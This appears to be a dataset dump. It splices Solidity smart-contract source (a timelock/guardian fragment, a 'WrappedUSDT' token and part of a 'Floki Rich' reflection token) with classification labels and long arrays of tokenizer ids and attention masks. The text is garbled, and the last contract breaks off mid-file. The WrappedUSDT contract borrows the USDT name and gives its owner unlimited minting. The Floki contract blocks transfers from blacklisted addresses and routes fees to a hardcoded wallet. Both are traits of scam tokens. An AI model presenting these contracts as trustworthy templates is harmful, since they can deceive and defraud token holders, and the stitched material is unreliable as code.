function acceptGovernance() external onlyGuardian {
KPR.acceptGovernance();
}
function dispute(address keeper) external onlyGuardian {
KPR.dispute(keeper);
}
function slash(address bonded, address keeper, uint amount) external onlyGuardian {
KPR.slash(bonded, keeper, amount);
}
function revoke(address keeper) external onlyGuardian {
KPR.revoke(keeper);
}
function resolve(address keeper) external onlyGuardian {
KPR.resolve(keeper);
}
function setLiquidityFee(uint newFee) external onlyGuardian {
KPR.setLiquidityFee(newFee);
}
function setBondingDelay(uint256 newDelay) external onlyGuardian {
KPR.setBondingDelay(newDelay);
}
function setUnbondingDelay(uint256 newDelay) external onlyGuardian {
KPR.setUnbondingDelay(newDelay);
}
function setLiquidityBondingDelay(uint256 newDelay) external onlyGuardian {
KPR.setLiquidityBondingDelay(newDelay);
}
mapping (bytes32 => bool) public queuedTransactions;
constructor(address token_) public {
guardian = msg.sender;
KPR = IKeep3rV1(token_);
DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function _queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) internal returns (bytes32) {
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function _cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function _executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) internal returns (bytes memory) {
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value:value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | True | [
101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-05
*/
pragma solidity 0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract WrappedUSDT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = "Wrapped USDT";
_symbol = "WUSDT";
_decimals = 6;
_totalSupply = 64469737786000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
5709,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1019,
1012,
2385,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
2171,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
2131,
12384,
2121,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
6123,
1063,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-28
*/
// SPDX-License-Identifier: Unlicensed
/*
Telegram: https://t.me/FlokiRich
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RICHFLOKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Floki Rich";
string private constant _symbol = "FLOKIRICH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x28b70CFe10C2a1f8997F0F5B6c734Faa1722Aa52);
_feeAddrWallet2 = payable(0x28b70CFe10C2a1f8997F0F5B6c734Faa1722Aa52);
_feeAddrWallet3 = payable(0x28b70CFe10C2a1f8997F0F5B6c734Faa1722Aa52);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
